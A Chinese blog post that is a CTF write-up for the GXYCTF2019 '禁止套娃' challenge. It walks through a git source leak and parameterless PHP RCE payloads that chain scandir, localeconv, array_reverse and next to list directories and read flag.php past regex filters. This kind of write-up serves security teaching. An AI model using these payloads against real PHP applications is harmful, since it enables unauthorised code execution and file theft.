无参数RCE实践

发布时间 2023-09-16 17:35:45作者: Eddie_Murphy

来自:

[GXYCTF2019]禁止套娃

首先打开一看,什么都没有:

查看源码也啥都没有,没有hint。

那这种情况下估计是源码泄露,我们用dirsearch扫一下:

扫了一堆git出来,估计就是git泄露。

这里就需要第二个工具githack,拿到源码文件:

打开一看,确定了是文件包含:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

但是这里有三个正则表达式的函数拦着,第一个preg_match()很显然,我们用不了php伪协议/phar伪协议,这些被ban掉了。

正则表达式的补充:http://c.biancheng.net/view/7569.html

第二个preg_replace意思是传入的exp把值中的整个函数变成了分号 ; 

并且必须是变成了分号才能if成功继续进行下去。

百度的解释是:

这段PHP代码首先使用preg_replace函数,它执行一个正则表达式的搜索和替换。在这里,它会搜索'[a-z,_]+((?R)?)'这个正则表达式模式,并且将其替换为NULL。NULL表示删除找到的匹配项,也就是在这里,它将删除找到的函数或方法名及其括号。然后,如果经过这个替换操作后,$_GET['exp']的值变成了';'(也就是原来的函数或方法调用被完全删除),那么if语句的条件就为真,代码块中的内容将被执行。

整体会变成分号。即使用户输入的字符串是'testFunction(arg1, arg2);',经过preg_replace函数处理后,结果会变成';'。这个正则表达式会把整个函数或方法名及其括号替换为分号。

这里就是典型的无参数RCE问题。

可以参考一下这三篇博客,写的很不错:

https://xz.aliyun.com/t/6316#toc-3

https://blog.csdn.net/2302_76827504/article/details/130427099(这个博客里也有引用其他的优质博客,可以都看看)

https://blog.csdn.net/Manuffer/article/details/120738755

  1. preg_replace('/[a-z,_]+\((?R)?\)/'可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。
  2. 过滤了很多的关键字:et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log

来看补充:

我们能不能直接读文件?
之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()获取当前目录

?code=var_dump(getcwd());
string(13) "/var/www/html"
 

那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可

?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
 

那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
 

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool
 
将 PHP 的当前目录改为 directory。
所以我们这里在

dirname(getcwd())
 
进行如下设置即可

chdir(dirname(getcwd()))
 

我们尝试读取/var/www/123

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可进行文件读取。

(来自:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

接下来是解决这道题的两个办法:

法一

所需要的基础函数:

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显第一个数组的值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

 那么payload:

exp=print_r(scandir(pos(localeconv())));

也可以var_dump():

 可以看到下标为3是我们的flag.php,也就是倒数第二个。

怎么调用到呢?

这里可以用一个array_reverse()函数翻转数组,然后用next()的方式指向下一个数组,也就是指向了第二个数组,然后用show_source()函数就可以拿flag。

 

法二

来自:

https://blog.csdn.net/l2872253606/article/details/125246229

利用session_id代替flag.php